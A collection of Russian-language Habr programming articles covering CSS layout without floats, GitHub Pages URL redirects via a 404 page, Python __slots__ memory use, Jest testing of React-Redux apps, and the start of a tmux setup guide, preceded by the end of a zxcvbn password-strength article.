* Zxcvbn хорошо бы научить мириться с неправильным (до определенной степени) написанием слов. Это обогатило бы ее базу множеством словесных комбинаций (например тех, в которых пропущена первая буква). Однако это трудная задача, поскольку сегментация слов — сложный процесс, особенно когда они усложнены подстановками жаргона l33t.
Тем не менее, я считаю, что даже с учетом этих недостатков, zxcvbn дает пользователям весьма дельные советы по выбору надежного пароля в мире, где слишком часто выбираются неудачные пароли. Надеюсь, эта программа окажется полезной и для вас. «Форкните» ее на [github](https://github.com/lowe/zxcvbn) и развлекайтесь!
Большое спасибо Крису Варенхорсту, Гаутаму Джайраману, Бену Дарнеллу, Алисии Чен, Тодду Айзенбергеру, Каннану Гундану, Крису Бекманну, Райану Хантеру, Брайану Смиту, Мартину Бейкеру, Ивану Киригину, Джулии Танг, Тидо Великому, Рэмзи Хомсэни, Барту Волькмеру и Саре Нийоги за рецензирование данной статьи.
Перевод выполнен [ABBYY Language Services](http://blog.perevedem.ru/2012/08/09/realistichnaya-ocenka-nadezhnosti-parolya/)
**p.s.** В комментариях принимаются идеи на тему «где брать материалы для перевода», «материалы какой тематики интересуют хабрапользователей» и даже конкретные ссылки — претенденты на перевод. | https://habr.com/ru/post/149396/ | null | ru | null |
# Верстка без float'ов
Существует много разных способов css разметки. Некоторые базируются на абсолютном позиционировании, другие используют float'ы. Первый метод плохо поддерживает «резиновость» макета, тогда как второй это неплохой способ разметки.
Но, как и многие мощные инструменты, float'ы имеют свои изъяны. Для начала, верстка на основе float'ов не такая простая к пониманию, а также float'ы есть источником многих багов (в основном в ИЕ), что делает их не идеальным вариантом в погоне за кроссбраузерностью.
Итак, речь далее пойдет о семантически корректном методе верстки.
**Начнем с обычной разметки (основанной на div'ах)**
> `Header
>
> Body
>
> Section 1
>
> Section 2
>
> Section 3
>
>
>
>
>
> Footer`
Но div'ы не могут отобразить структуру документа, для этого семантически более подходят списки, потому как они, в отличие от div'ов передают иерархию и связи, которые присутствуют между элементами.
> `1. Header
> 2. Body
>
> 1. Section 1
> 2. Section 2
> 3. Section 3
> 3. Footer`
**Использование CSS стилей**
Для «хороших» браузеров, все достаточно прозрачно.
> `* {margin:0;padding:0;}
>
> #wp {width:55em;margin:0 auto;list-style-type:none;}
>
> #bd {display:table;}
>
> #doc {display:table-row;}
>
> #s1,#s2,#s3 {display:table-cell;}`
**Стили для IE**
В IE LI имеют значение display равным inline-block, поэтому:
1. Для IE Win используем {display: inline; zoom: 1}. «zoom:1» используется для того чтобы елементы имели hasLayout-свойство. (читайте [наличие layout](http://www.satzansatz.de/cssd/onhavinglayout.html "наличие layout") или на хабре [Изучаем наличие layout](http://habrahabr.ru/blog/webdev/24553.html ">Изучаем наличие layout"))
2. Для IE Mac — {display:inline-block;float:left;}
Так же нам понадобятся еще несколько дополнительных правил:
* vertical-align чтобы контент в LI прижимался к верху, а не к низу
* width для каждого из LI
> `#s1,#s2,#s3,{display:inline;zoom:1;vertical-align:top;}
>
> #s1 {width:12em;}
>
> #s2 {width:29em;}
>
> #s3 {width:14em;}
>
> /*\*//*/
>
> #s1,#s2,#s3 {display:inline-block;float:left;}
>
> #ft {clear:left;}
>
> /**/`
Css-правила выше используют некоторые хаки, а именно:
* IE (IE 7 и IE Mac включительно) **не** игнорирует правила, в которых запятая предшествует блоку объявлений
* IE5 Mac [www.stopdesign.com/examples/ie5mac-bpf](http://www.stopdesign.com/examples/ie5mac-bpf/)» title«фильтр»>фильтр
Так как IE 5.1 имеет баги с математическими рассчетами, то нужно уменьшить ширину первого столбца, поэтому используем [tjkdesign.com/articles/conditional\_comments.asp](http://tjkdesign.com/articles/conditional_comments.asp)» title«условные комментарии»>условные комментарии с условием «if lt IE 5.5000»
По сути на этом все… Далее в статье автор рассказывает как добавить границы, а также указывает на разницу в правилах для фиксированной и резиновой верстки.
Метод достаточно интересный, если отбросить поддержку морально устаревших браузеров, таких как IE5.5 и меньше, то правил станет значительно меньше. Этот метод позволяет просто и без забот решить проблему, когда нужно расстянуть float-блок (скорее всего боковой блок), чтобы он был равен главному по высоте (к примеру, если фон нужно расстянуть).
Ниже привожу ссылки с примерами разных разметок:
[Фиксированная в пикселях: 210, 400, 190](http://tjkdesign.com/articles/css-layout/?4)
[tjkdesign.com/articles/css-layout/?6](http://tjkdesign.com/articles/css-layout/?6)» title"">Резиновая в %: 20, 60, 20 с мин/макс шириной (800px/1200px)
[tjkdesign.com/articles/css-layout/?7](http://tjkdesign.com/articles/css-layout/?7)» title"">Резиновая в %: 20, 60, 20 | https://habr.com/ru/post/31520/ | null | ru | null |
# URL rewriting на GitHub Pages
Я обожаю [GitHub Pages](https://pages.github.com/). Я использую их для всего, что только можно и пытаюсь избежать кода на стороне сервера как чумы. Я пушу изменения в репозиторий и они тут же отображаются для пользователей без каких-либо хуков или дополнительных шагов. Бесплатность делает их еще привлекательнее. Когда пришло время публиковать [мою книгу](https://www.amazon.com/CSS-Secrets-Solutions-Everyday-Problems/dp/1449372635/), естественно, я хотела чтобы сопровождающий вебсайт был на GitHub Pages.
Но была одна проблемка: я хотела красивые урлы, например <http://play.csssecrets.io/pie-animated>, которые бы редиректили на демки на [dabblet.com](http://dabblet.com/). Любой нормальный человек бы скорее всего стиснул зубы и использовал какой-нибудь серверный язык для этого. Но я же не совсем нормальная :)
Оказывается, [GitHub уже использует свой собственный URL rewriting для GitHub Pages](https://help.github.com/articles/creating-a-custom-404-page-for-your-github-pages-site/): если вы добавите `404.html` в репозиторий, любой несуществующий URL будет перенаправлен на него. Погодите-ка, а разве не то же самое мы делаем на сервере для того, чтобы красивые урлы заработали? Мы можем сделать ровно то же самое, что мы делаем на сервере с помощью JavaScript в `404.html`!
Итак, я создала:
1. [JSON-файл](https://github.com/LeaVerou/play.csssecrets.io/blob/gh-pages/secrets.json) со всеми IDшниками демок и соответствующими dabblet урлами,
2. [404.html](https://github.com/LeaVerou/play.csssecrets.io/blob/gh-pages/404.html), который или редиректит или показывает ошибку
3. [Vanilla JS скрипт](https://github.com/LeaVerou/play.csssecrets.io/blob/gh-pages/redirect.js), который читает URL, JSON файл и редиректит на dabblet.
Вот, собственно, JS без шелухи:
```
(function(){
document.body.className = 'redirecting';
var slug = location.pathname.slice(1);
xhr({
src: 'secrets.json',
onsuccess: function () {
var slugs = JSON.parse(this.responseText);
var hash = slugs[slug];
if (hash) {
// Redirect
var url = hash.indexOf('http') == 0? hash : 'http://dabblet.com/gist/' + hash;
$('section.redirecting > p').innerHTML = 'Redirecting to <' + url + '>…';
location.href = url;
}
else {
document.body.className = 'error not-found';
}
},
onerror: function () {
document.body.className = 'error json';
}
});
})();
```
Это всё! Вы можете использовать этот же приём для того, чтобы редиректить на другие HTML страницы GitHub Pages, иметь человечные урлы для одностраничного сайта, и многое другое! Это хак? Конечно. Но когда это нас останавливало? :) | https://habr.com/ru/post/316790/ | null | ru | null |
# Python: как уменьшить расход памяти вдвое, добавив всего одну строчку кода?
Привет habr.
В одном проекте, где необходимо было хранить и обрабатывать довольно большой динамический список, тестировщики стали жаловаться на нехватку памяти. Простой способ, как «малой кровью» исправить проблему, добавив лишь одну строку кода, описан ниже. Результат на картинке:
Как это работает, продолжение под катом.
Рассмотрим простой «учебный» пример — создадим класс DataItem, содержащий ~~персональные~~ данные о человеке, например имя, возраст и адрес.
```
class DataItem(object):
def __init__(self, name, age, address):
self.name = name
self.age = age
self.address = address
```
«Детский» вопрос — сколько такой объект занимает в памяти?
Попробуем решение в лоб:
```
d1 = DataItem("Alex", 42, "-")
print ("sys.getsizeof(d1):", sys.getsizeof(d1))
```
Получаем ответ 56 байт. Вроде немного, вполне устраивает.
Однако, проверяем на другом объекте, в котором данных больше:
```
d2 = DataItem("Boris", 24, "In the middle of nowhere")
print ("sys.getsizeof(d2):", sys.getsizeof(d2))
```
Ответ — снова 56. На этом моменте понимаем, что что-то здесь не то, и не все так просто, как кажется на первый взгляд.
Интуиция нас не подводит, и все действительно не так просто. Python — это очень гибкий язык с динамической типизацией, и для своей работы он хранит ~~туеву хучу~~ немалое количество дополнительных данных. Которые и сами по себе занимают немало. Просто для примера, sys.getsizeof("") вернет 33 — да, целых 33 байта на пустую строку! А sys.getsizeof(1) вернет 24 — 24 байта для целого числа (программистов на Си прошу отойти от экрана и дальше не читать, дабы не утратить веру в прекрасное). Для более сложных элементов, таких как словарь, sys.getsizeof(dict()) вернет 272 байта — и это для *пустого* словаря. Дальше продолжать не буду, принцип надеюсь ясен, ~~да и производителям RAM нужно же продавать свои чипы~~.
Однако вернемся к нашему классу DataItem и «детскому» вопросу. Сколько занимает такой класс в памяти? Для начала, выведем целиком все содержимое класса на более низком уровне:
```
def dump(obj):
for attr in dir(obj):
print(" obj.%s = %r" % (attr, getattr(obj, attr)))
```
Эта функция покажет то, что скрыто «под капотом», чтобы все функции Python (типизация, наследование и прочие плюшки) могли функционировать.
Результат впечатляет:
Сколько это все занимает целиком? На github нашлась функция, подсчитывающая реальный объем данных, рекурсивно вызывая getsizeof для всех объектов.
```
def get_size(obj, seen=None):
# From https://goshippo.com/blog/measure-real-size-any-python-object/
# Recursively finds size of objects
size = sys.getsizeof(obj)
if seen is None:
seen = set()
obj_id = id(obj)
if obj_id in seen:
return 0
# Important mark as seen *before* entering recursion to gracefully handle
# self-referential objects
seen.add(obj_id)
if isinstance(obj, dict):
size += sum([get_size(v, seen) for v in obj.values()])
size += sum([get_size(k, seen) for k in obj.keys()])
elif hasattr(obj, '__dict__'):
size += get_size(obj.__dict__, seen)
elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)):
size += sum([get_size(i, seen) for i in obj])
return size
```
Пробуем ее:
```
d1 = DataItem("Alex", 42, "-")
print ("get_size(d1):", get_size(d1))
d2 = DataItem("Boris", 24, "In the middle of nowhere")
print ("get_size(d2):", get_size(d2))
```
Получаем 460 и 484 байта соответственно, что больше похоже на правду.
Имея эту функцию, можно провести ряд экспериментов. Например интересно, сколько места займут данные, если структуры DataItem положить в список. Функция get\_size([d1]) возвращает 532 байта — видимо, это «те самые» 460 + некоторые накладные расходы. А вот get\_size([d1, d2]) вернет 863 байта — меньше, чем 460 + 484 по отдельности. Еще интереснее результат для get\_size([d1, d2, d1]) — мы получаем 871 байт, лишь чуть больше, т.е. Python достаточно «умен» чтобы не выделять память под один и тот же объект второй раз.
Теперь мы переходим ко второй части вопроса — можно ли уменьшить расход памяти? Да, можно. Python это интерпретатор, и мы в любой момент можем расширить наш класс, например добавить новое поле:
```
d1 = DataItem("Alex", 42, "-")
print ("get_size(d1):", get_size(d1))
d1.weight = 66
print ("get_size(d1):", get_size(d1))
```
Это замечательно, но если нам не нужна эта функциональность, мы можем принудительно указать интерпретатору список объектов класса с помощью директивы \_\_slots\_\_:
```
class DataItem(object):
__slots__ = ['name', 'age', 'address']
def __init__(self, name, age, address):
self.name = name
self.age = age
self.address = address
```
Более подробно прочитать можно в документации ([RTFM](https://docs.python.org/3/reference/datamodel.html#slots)), в которой написано что "\_\_slots\_\_ allow us to explicitly declare data members (like properties) and deny the creation of \_\_dict\_\_ and \_\_weakref\_\_. The space saved over using \_\_dict\_\_ *can be significant*".
Проверяем: да, действительно significant, get\_size(d1) возвращает… 64 байта вместо 460, т.е. в 7 раз меньше. Как бонус, создаются объекты примерно на 20% быстре (см. первый скриншот статьи).
Увы, при реальном использовании такого большого выигрыша в памяти не будет за счет других накладных расходов. Создадим массив на 100000 простым добавлением элементов, и посмотрим расход памяти:
```
data = []
for p in range(100000):
data.append(DataItem("Alex", 42, "middle of nowhere"))
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
total = sum(stat.size for stat in top_stats)
print("Total allocated size: %.1f MB" % (total / (1024*1024)))
```
Имеем 16.8 Мбайт без \_\_slots\_\_ и 6.9 Мб с ним. Не в 7 раз конечно, но и так вполне неплохо, учитывая что изменение кода было минимальным.
Теперь о недостатках. Активация \_\_slots\_\_ запрещает создание всех элементов, включая и \_\_dict\_\_, значит к примеру, не будет работать такой код перевода структуры в json:
```
def toJSON(self):
return json.dumps(self.__dict__)
```
Но это просто исправить, достаточно сгенерировать свой dict программно, перебрав все элементы в цикле:
```
def toJSON(self):
data = dict()
for var in self.__slots__:
data[var] = getattr(self, var)
return json.dumps(data)
```
Также невозможно будет динамически добавлять новые переменные в класс, но в моем случае этого и не требовалось.
И последний тест на сегодня. Интересно посмотреть, сколько памяти занимает программа целиком. Добавим в конец программы бесконечный цикл, чтобы она не закрывалась, и посмотрим расход памяти в диспетчере задач Windows.
Без \_\_slots\_\_:
16.8Мб каким-то чудом превратилось (правка — объяснение чуда ниже) в 70Мб (программисты Си надеюсь еще не вернулись к экрану?).
С включенным \_\_slots\_\_:
6.9Мб превратились в 27Мб… ну, все-таки память мы сэкономили, 27Мб вместо 70 это не так уж плохо для результата добавления одной строчки кода.
**Правка**: в комментариях (спасибо robert\_ayrapetyan за проделанный тест) подсказали, что много дополнительной памяти занимает использование отладочной библиотеки tracemalloc. Видимо, она добавляет дополнительные элементы к *каждому* создаваемому объекту. Если отключить ее, суммарный расход памяти будет гораздо меньше, на скриншоте показаны 2 варианта:
Что делать, если нужно сэкономить еще больше памяти? Это возможно с использованием библиотеки **numpy**, позволяющей создавать структуры в Си-стиле, но в моем случае это потребовало бы более глубокой доработки кода, да и первого способа оказалось вполне достаточно.
Странно, что использование \_\_slots\_\_ ни разу не разбиралось подробно на Хабре, надеюсь, эта статья немного восполнит данный пробел.
Вместо заключения.
Может показаться, что данная статья является антирекламой Python, но это совсем не так. Python — очень надежный (чтобы «уронить» программу на Python надо *очень* сильно постараться), легко читабельный и удобный для написания кода язык. Эти плюсы во многих случаях перевешивают минусы, ну а если нужна максимальная производительность и эффективность, можно использовать библиотеки вроде numpy, написанные на С++, которые работают с данными вполне быстро и эффективно.
Всем спасибо за внимание, и хорошего кода :) | https://habr.com/ru/post/427909/ | null | ru | null |
# Тестирование React-Redux приложения
#### Время чтения: 13 минут
Много ли вы видели react разработчиков, которые покрывают свой код тестами? А вы-то тестируете свои? Действительно, зачем, если мы можем предсказать состояние компонента и стора? Ответ довольно прост: чтобы избежать ошибок при изменениях в проекте.
Всех, кого заинтересовало, приглашаю под кат.
Клонируйте [репозиторий](https://github.com/MerrickGit/reactreduxtest) проект в котором будути написаны тесты или попробуйте написать тесты для своего проекта.
> Это будет очень простой проект.
Приложение выглядит так:
И умеет только складывать и вычитать числа, но с помощью react-redux связки.
### Почему я и не только выбрают jest
А кто эти не только? Вот, что пишут в блоге Jest.
> We feel incredibly humbled that 100+ companies [have adopted Jest](https://twitter.com/cpojer/status/803965499407290369) in the last six months. Companies like Twitter, Pinterest, Paypal, nytimes, IBM (Watson), Spotify, eBay, SoundCloud, Intuit, FormidableLabs, Automattic, Trivago and Microsoft have either fully or partially switched to Jest for their JavaScript testing needs.
Большим компаниям нравится простота Jest. Вот почему его любят:
* Вам потребуется минимальное время на установку и настройку Jest
* Возможность запускать тесты параллельно. (В этом примере это не так принципиально, но в больших приложениях скорость тестов играет большую роль)
* snapshot тестирование — это действительно замечательная возможность, благодаря которой можно сократить написание некоторых тестов, поскольку создается snapshot, и если что-то изменится в компоненте, будет выведена ошибку, когда snapshot будет сгенерирован в следующий раз.
* Jest использует Jasmine для assertion(сопоставления)
* Возможность посмотреть покрытие тестами из коробки
Когда Jest только появился он работал не очень быстро и был спроектирован не очень хорошо, но в 2016 году Facebook сделал огромную работу по улучшению Jest и, я думаю, в ближайшее время он станет довольно популярным.
### Настройка проекта
Давайте разберемся, какие нам нужны зависимости для запуска тестов.
* jest — думаю понятно зачем
* babel-jest — для транспиляции современного JS в более старый.
* enzyme — для более удобного управления и рендера наших компонентов. (библиотека разработана airbnb )
* react-addons-test-utils — как зависимость для enzyme
* react-test-renderer — позволяет делать рендерить компонент в разметку для snapshot
* redux-mock-store — для того чтобы создавать mock для store
И это все, что вам нужно.
### Запуск тестов
Добавим в package.json в scripts ”test”: “jest”. И теперь мы можем запускать тесты с помощью команды yarn test или npm test.
Jest проанализирует папку \_\_test\_\_ и выполнит все файлы в названии которых есть .test.js or .spec.js
После того, как мы все напишем, вот что получится.
* Home.spec.js — У этого компонента есть дочерние компоненты и он подключен к redux.
* calculatorActions.spec.js — Это юнит тест для action
* calculatorReducers.spec.js — Это юнит тест для reducer.
Теперь давайте напишем пару тестов.
### Понимание наших тестов и их создание
Существует много нежелательных тестовых примеров, которые просто проверяют наличие элемента DOM. Это на самом деле не нужно, и я просто оставил их чтобы вы знали как это делать, если есть такая задача, чтобы вы справились с этим тестом. Но я бы не советовал писать такие тесты.
Я остановлюсь только на важных тестах для каждого раздела, которые вам нужно знать. Остальное вы можете просто прочитать в документациях.
#### 1. Component/Connected Component(Home.spec.js)
Что значит Connected component? Это компонент в котором используется connect для связи с redux. Если вы посмотрите код компонента Home, вы увидите там два export'а.
```
import React from 'react';
import ReactDOM from 'react-dom';
import { connect } from 'react-redux';
import {
addInputs,
subtractInputs,
async_addInputs
} from '../actions/calculatorActions';
const mapStateToProps = ({ output }) => ({
output
});
export class Home extends React.Component{
render(){
...
}
}
export default connect(mapStateToProps, {
addInputs,
subtractInputs,
async_addInputs
})(Home);
```
Первый экспорт нужен для так называемых 'глупых компонентов' и export default нужен для connected/smart component. И мы будем тестировать оба варианта для начала компонент, который не получает значения извне.
А с connect компонентом мы будет тестировать react-redux часть.
> Не используйте декораторы для кода который собираетесь тестировать
```
@connect(mapStateToProps)
export default class Home extends React.Component{
...
```
#### 1.1 Глупый компонент
Импортируем глупый компонент (компонент без connect).
```
import { Home } from '../src/js/components/Home'
import { shallow } from 'enzyme'
// и напишем наш тест для компонента
*********************************
describe('>>>H O M E --- Shallow Render REACT COMPONENTS',()=>{
let wrapper
const output = 10
beforeEach(()=>{
wrapper = shallow()
})
it('+++ render the DUMB component', () => {
expect(wrapper.length).toEqual(1)
});
it('+++ contains output', () => {
expect(wrapper.find('input[placeholder="Output"]').prop('value')).toEqual(output)
});
});
```
Мы используем shallow рендер из enzyme, потому что нам нужно получить только react объект компонента.
Подробно разберем следующий фрагмент
```
beforeEach(()=>{
wrapper = shallow()
})
```
Он означает, что перед каждым выполнением функции it() мы будем выполнять функцию, которая передана в beforeEach(), тем самым получая каждый раз обновленный компонент, как будто он отрендерился впервые.
Обратите внимание, что в Home.js наше поле вывода ожидает this.props.output, поэтому нам нужно передать prop во время тестирования.
```
Результат : {this.props.output}
```
#### 1.2 Умные компоненты
Теперь кое что поинтереснее, импортируем наш умный компонент в тест. Теперь импорт выглядит так.
```
import ConnectedHome, { Home } from '../src/js/components/Home'
```
И так же мы будем использовать redux-mock-store.
```
import configureStore from 'redux-mock-store'
```
Сейчас рассмотрим два варианта тестирования умных компонентов. Вам нужно будет выбрать, какой больше нравится вам.
```
// Вставляем store прямиком в компонент
//*****************************************************************************
describe('>>>H O M E --- REACT-REDUX (Shallow + passing the {store} directly)',()=>{
const initialState = { output:100 };
const mockStore = configureStore();
let store,container;
beforeEach(()=>{
store = mockStore(initialState);
container = shallow( );
})
it('+++ render the connected(SMART) component', () => {
expect(container.length).toEqual(1);
});
it('+++ check Prop matches with initialState', () => {
expect(container.prop('output')).toEqual(initialState.output);
});
```
В этом тесте мы проверяем соответствует ли initialState, которое получается компонент через mapStateToProps.
```
// Оборачиваем умный компонент в Provider и нужно полностью отрендерить компонент.
//*****************************************************************************
describe('>>>H O M E --- REACT-REDUX (Mount + wrapping in )',()=>{
const initialState = { output:10 };
const mockStore = configureStore();
let store,wrapper;
beforeEach(()=>{
store = mockStore(initialState);
wrapper = mount( );
})
it('+++ render the connected(SMART) component', () => {
expect(wrapper.find(ConnectedHome).length).toEqual(1);
});
it('+++ check Prop matches with initialState', () => {
expect(wrapper.find(Home).prop('output')).toEqual(initialState.output);
});
it('+++ check action on dispatching ', () => {
let action;
store.dispatch(addInputs(500));
store.dispatch(subtractInputs(100));
action = store.getActions();
expect(action[0].type).toBe("ADD\_INPUTS");
expect(action[1].type).toBe("SUBTRACT\_INPUTS");
});
});
```
Если посмотреть на код, то мы делаем тоже самое, что и в первом тесте, плюс я еще дописал пару других сравнений, но их можно реализовать и в первом тесте.
В первом и втором варианте мы используем mock store и поэтому мы не можем зафиксировать изменения, но мы можем использовать настоящий store, без дополнительных библиотек.
```
//*******************************************************************************************************
describe('>>>H O M E --- REACT-REDUX (actual Store + reducers) more of Integration Testing',()=>{
const initialState = { output:10 };
let store,wrapper;
beforeEach(()=>{
store = createStore(calculatorReducers);
wrapper = mount( );
})
it('+++ check Prop matches with initialState', () => {
store.dispatch(addInputs(500));
expect(wrapper.find(Home).prop('output')).toBe(500);
});
});
```
Но так не рекомендуется делать, ведь это не часть unit тестирования.
### 1.3 Snapshot'ы
Еще одна вещь которую я люблю в Jest это snapshot testing(тестирование снэпшотов).
Когда jest сравнивает snapshot первый раз, когда их нет, он кладет их в папку \_\_snapshots\_\_ рядом с вашим тестируемым файлом. Для того, чтобы сделать snapshot нам нужно для начала отрендерить компонент, для этого импортируем библиотеку react-test-renderer.
```
import renderer from 'react-test-renderer'
// После чего сравнить snapshot
describe('>>>H O M E --- Snapshot',()=>{
it('+++capturing Snapshot of Home', () => {
const renderedValue = renderer.create().toJSON()
expect(renderedValue).toMatchSnapshot();
});
});
```
Вот как выглядит snapshot для нашего компонента Home.js
```
exports[`>>>H O M E --- Snapshot +++capturing Snapshot of Home 1`] = `
using React and Redux
-----------------------
Input 1:
Input 2 :
Output :
Add
Subtract
---
`;
```
И если мы что то изменим в файле Home.js и попробуем запустить тест получим ошибку.
Для того чтобы обновить snapshot'ы нужно запустить тесты с флагом -u
```
jest test -u || yarn test -u
```
Благодаря этому нам не нужно тратить много времени на тестирование, ведь если snapshot не совпадает то это значит, что мы получим ошибку при сравнении snapshots. Snapshot не содержить props и state вашего компонента, если вам нужно протестировать их в компоненте то придется создавать два экземпляра.
Создавать snapshot можно не только для компонента, но и для reducer'а, что очень удобно.
К примеру, напишем такой тест.
```
import reducer from './recipe';
describe('With snapshots ', () => {
it('+++ reducer with shapshot', () => {
expect(calculatorReducers(undefined, { type: 'default' })).toMatchSnapshot();
});
it('+++ reducer with shapshot', () => {
const action = {
type: 'ADD_INPUTS',
output: 50,
};
expect(calculatorReducers(undefined, action)).toMatchSnapshot();
});
});
```
Получим следующее:
Теперь вы понимаете почему я упомянул это вначале.
### 2. ActionCreators(calculatorActions.spec.js)
Мы просто сравним, что возвращает ActionCreators с тем, что должно быть.
```
import { addInputs,subtractInputs } from '../src/js/actions/calculatorActions'
describe('>>>A C T I O N --- Test calculatorActions', ()=>{
it('+++ actionCreator addInputs', () => {
const add = addInputs(50)
expect(add).toEqual({ type:"ADD_INPUTS", output:50 })
});
it('+++ actionCreator subtractInputs', () => {
const subtract = subtractInputs(-50)
expect(subtract).toEqual({ type:"SUBTRACT_INPUTS", output:-50 })
});
});
```
### 3. Reducers(calculatorReducers.spec.js)
Так же просто как actionCreators мы тестируем reducers.
```
import calculatorReducers from '../src/js/reducers/calculatorReducers'
describe('>>>R E D U C E R --- Test calculatorReducers',()=>{
it('+++ reducer for ADD_INPUT', () => {
let state = {output:100}
state = calculatorReducers(state,{type:"ADD_INPUTS",output:500})
expect(state).toEqual({output:500})
});
it('+++ reducer for SUBTRACT_INPUT', () => {
let state = {output:100}
state = calculatorReducers(state,{type:"SUBTRACT_INPUTS",output:50})
expect(state).toEqual({output:50})
});
});
```
### Async action
Одно из самых важных это тестирование асинхронных действий или действий с side эффектом.
Для асинхронных действий мы будем использовать redux-thunk. Давайте посмотрим как выглядит наше асинхронное действие.
```
export const async_addInputs = output => dispatch =>
new Promise((res, rej) => {
setTimeout(() => res(output), 3000);
}).then(res => dispatch(addInputs(res)));
```
А теперь самое время написать для этого jest тест. Нужно импортировать все то, что нужно.
```
import {
addInputs,
subtractInputs,
async_addInputs
} from '../src/js/actions/calculatorActions';
import configureMockStore from 'redux-mock-store';
import thunk from 'redux-thunk';
const mockStore = configureMockStore([ thunk ]);
```
Теперь напишем наш тест.
```
describe('>>>Async action --- Test calculatorActions', () => {
it('+++ thunk async_addInputs', async () => {
const store = mockStore({ output: 0 });
await store.dispatch(async_addInputs(50));
expect(store.getActions()[0]).toEqual({ type: 'ADD_INPUTS', output: 50 });
});
});
```
Посмотрите на функцию async\_addInputs, мы дожидаемся окончания действия и возвращаем ответ, который нам нужно протестировать(В данном случае успешный). Тем самым мы можем утверждать, что было вызвано всего одно и только одно действие, а это: ADD\_INPUTS.
Пойдем дальше и можно в тестах проверить примитивную систему кеширования.
(просто пример не из проекта)
```
it('does check if we already fetched that id and only calls fetch if necessary', () => {
const store = mockStore({id: 1234, isFetching: false }});
window.fetch = jest.fn().mockImplementation(() => Promise.resolve());
store.dispatch(fetchData(1234)); // Same id
expect(window.fetch).not.toBeCalled();
store.dispatch(fetchData(1234 + 1)); // Different id
expect(window.fetch).toBeCalled();
});
```
Как видно выше, id 1234 уже есть в store и нам больше не нужно получать данные с запросом на данный id.
Здесь мы рассмотрели самые базовые тесты для асинхронных действий. Так же в вашем приложении могут быть с другими side эффектами. Например работа с базой напрямую, как firebase или работа с другими api напрямую.
### Code coverage
Отчет о покрытии тестами поддерживается из коробки. Для того, что бы увидеть статистику нужно запустить тесты с флагом --coverage
```
yarn test -- --coverage || npm test -- --coverage
```
Выглядеть он будет примерно так:
Если проверить папку с проектом, можно будет обнаружить, папку coverage, где лежит файл index.html в котором отчет для отображения в браузере.
Нажмите на файл и посмотрите подробную статистику по покрытию тестами.
Вот и все основные моменты в тестировании на jest. Все остальное вы уже после освоения этого можете посмотреть в документации, для того чтобы расширить свой кругозор по тестированию. | https://habr.com/ru/post/340514/ | null | ru | null |
# Консоль в массы. Переход на светлую сторону. Часть вторая
Вступление
----------
Довольно долгое время я использовал в своей работе screen. Но со временем он меня перестал устраивать. Я начал искать альтернативы. Такой альтернативой является tmux. На многих порталах его описывают так: «Это тот-же screen, только на стероидах». Сначала я не мог понять почему такое сравнение пока не попробовал. Скажу честно, я на него не с первого раза перешел. Раза три-четыре пробовал, возвращался к screen’у. Но tmux все же победил.
**Важный момент.** К предыдущей [статье](https://habrahabr.ru/post/317534/) я получил немало комментариев с альтернативами screen и tmux. Тут, как говорится, на вкус и цвет карандаши разные. Второй момент, на который хотел обратить внимание, предполагается, что у читателя нет доступа к графической оболочке. Все что есть в его арсенале — терминал ([CLI](https://goo.gl/5nxyuX)) и набор команд, которыми он может воспользоваться.
Установка
---------
Ну что ж, перейдем к установке tmux. Достаточно выполнить первую команду, чтобы его установить. После этого можно будет его запустить, набрав команду `tmux` в терминале.
Для более опытных пользователей есть возможность собрать tmux из [репозитория](https://github.com/tmux/tmux) или скачать архив себе на компьютер. Как это сделать, описано [тут](https://raw.githubusercontent.com/tmux/tmux/master/README).
Базовые сочетания клавиш
------------------------
Тут как и в случае со screen’ом, добавлю только [ссылку](https://github.com/var-bin/terminalForCoder__WSD/blob/master/tmux/hotkey.md). Дальше берем и начинаем использовать. Заучивать, запоминать не нужно. Единственный нюанс, комбинации клавиш отличаются, но это легко можно поправить через файл настроек.
Настройки
---------
По умолчанию tmux, что называется, «с коробки», настроен довольно качественно. Вам не нужно настраивать положение панели с вкладками, каким цветом их подсвечивать, и другие настройки, как это было в screen. Но если вдруг вам понадобится конфигурационный файл, то возьмите себе на заметку: называться он должен `.tmux.conf`; поместить его нужно в домашнюю директорию пользователя.
Хочу поделиться полезной настройкой, без которой мне приходилось создавать заново сессию tmux. Опишу ее более подробно. Рабочая машина у меня под управлением ОС Windows. Для подключения к удаленному серверу используется [putty](http://www.putty.org/) и pagent (для добавления ключей). Когда добавляешь ключ в pagent, нужно вводить пароль (passphrase — вы его указываете при создании ключей ssh). В putty для каждого соединения установлена вот эта галочка:
Такие особенности работы windows + putty + удаленное соединение по ssh. Эта галочка нужна, чтобы работал SSH-agent forwarding.
Так вот, вернемся к проблеме. Если вы вдруг потеряли связь с сетью или в офисе внезапно отключили электричество, то tmux, конечно же, сохранит сессию. И при повторном подключении к этой сессии вежливо попросит ввести пароль для ключа. Так будет каждый раз. Т.е. перестанет работать SSH-agent forwarding. Это можно поправить, если завершить текущую сессию tmux и переподключиться к удаленному серверу. С одной стороны это не так критично.
Но со временем эта проблема доставляет довольно много неудобств и хочется ее решить раз и навсегда. Чтобы решить эту проблему нужно добавить настройки в файл `.bashrc`, который находится в домашней директории пользователя:
Попробую описать, что происходит, когда вы подключаетесь к удаленному серверу с включенным SSH-agent forwarding. Когда ssh-клиент (в данном случае putty), с включенным SSH-agent forwarding, подсоединяется к серверу, то он создаёт сокет, через который можно получить этот самый ключ. Также он создаёт переменную `$SSH_AUTH_SOCK`, которая ссылается на этот сокет. Эту переменную наследует запущенный shell (оболочка, которая обрабатывает команды пользователя) в рамках текущей сессии. Кроме этой переменной, создаются еще несколько переменных: `$SSH_CLIENT, $SSH_CONNECTION, $SSH_TTY`, в которых хранится информация о текущем ssh-подключении. Когда произойдет обрыв связи, то менеджер терминалов, в данном случае tmux, сохранит сессию со старыми значениями этих переменных. И когда мы заново будем подключаться к удаленному серверу, то будет создан новый сокет с новыми значениями. Но они не попадут в старую сессию менеджера терминалов. Поэтому нам нужно дать понять shell, что мы хотим, чтобы он сохранял эти значения и использовал их при повторном подключении, если они есть.
tmux в деле
-----------
Пришло время проверить tmux в работе. Мы уже знаем как его запустить. Достаточно набрать `tmux`.
1. Рабочая область. Панель (pane — из документации к tmux).
2. Строка состояния. На ней размещаются вкладки и другие элементы.
3. Вкладка с именем по умолчанию.
